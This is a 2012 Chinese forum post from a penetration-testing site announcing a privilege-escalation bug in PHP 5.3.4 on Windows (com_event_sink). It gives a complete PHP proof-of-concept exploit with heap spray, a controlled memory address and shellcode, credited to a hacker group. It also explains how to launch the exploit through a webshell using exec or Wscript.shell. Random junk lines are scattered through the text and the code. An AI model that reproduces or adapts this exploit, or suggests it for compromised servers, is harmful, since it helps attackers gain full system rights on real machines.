中国网络渗透测试联盟
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-11-9 21:08
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
PHP最新版已经更新至5.4.x，不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
0 q. ^- W! [4 v- [/ u
* N/ i3 s: `4 _4 I/ h
测试方法如下：cmd /c x:\php\php.exe x:\test.php
2 j$ p8 e. Y2 R) Y/ o: R
1 H, p7 A2 m; i( J
下载php程序至本地，然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行，或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
# m5 _ m) f/ Z- _
这里是两个测试的截图：
: g% ~3 ^! t1 C/ j9 e: }5 t
4 b4 m' `. ^5 t; m9 e. E
. d$ M. z/ F3 Z1 a
# m r8 e6 _- D: A/ M# E" [& F
! _6 u. m: U9 N
3 E& d) j2 B& n& i9 v' i% U" ]
成功利用此漏洞的攻击者将获得系统的最高权限
2 W4 s) _- |- ?8 C2 ^; u: Q+ Y
& a, t1 h; o0 m; E1 x) S
/ y/ ]1 \/ i% G8 R3 ?
% O% V9 a; i- Q1 U% i; w/ d
3 c+ A# j w* j3 S
( b% [ a% P, b' E+ R8 Y
关于漏洞分析稍后附上。一下是PoC代码：
) V% `: t' k3 i" U. _& V
. e Y( Z9 Q& O1 j; O4 D
<?php
# p0 w. r# Q& y- o' `
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
/ P# {3 W+ y2 a% ?+ P- p
//$eip ="\x44\x43\x42\x41";
: @) ?7 W: o0 r* b
$eip= "\x4b\xe8\x57\x78";
: O: B% N! I [' y' N
$eax ="\x80\x01\x8d\x04";
: u2 K( Z& s6 [8 O0 i) D: m% {9 @
$deodrant="";
. Q6 ^- _( W6 x+ H
$axespray = str_repeat($eip.$eax,0x80);
4 R4 [' l' b. t4 j
//048d0190
- T5 G, j9 G* ^ ^8 Y6 J" K
echo strlen($axespray);
6 G7 u* j G$ D2 V U
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
1 N1 m$ t6 I8 y- J
echo "Silic Group Hacker Army - BlackBap.Org";
/ _% ]4 [# |, w5 [# d9 G
//19200 ==4B32 4b00
; n2 `8 K% x2 X" |( `6 I2 L( S
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
, f" _, g, L2 k$ h, L c
$terminate = "T";
4 V. G% z! T8 r% F$ O
$u[] =$deodrant;
5 V9 t5 W4 Y! b1 J' K$ x$ N; h& {! x+ p
$r[] =$deodrant.$terminate;
. r- v4 z8 \- B
$a[] =$deodrant.$terminate;
; R: `6 F- |$ _
$s[] =$deodrant.$terminate;
T! x7 t8 t8 G. Y( y" t; Y% J
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
! G) |' m% O" q4 T; o8 G
$vVar = new VARIANT(0x048d0000+180);
0 Q" V% W0 G) x0 x8 m
//弹窗代码(Shellcode)
0 K7 {) m0 p2 I
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
0 x# N6 [1 j$ p. ^& t
$var2 = new VARIANT(0x41414242);
+ ]1 u' S% S/ x5 g2 t& y' d; H( }
com_event_sink($vVar,$var2,$buffer);
I8 O% c% B: \% I% h" Q" C( c
?>
2 C# _% X5 b* z* \
[attach]113[/attach][attach]114[/attach]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2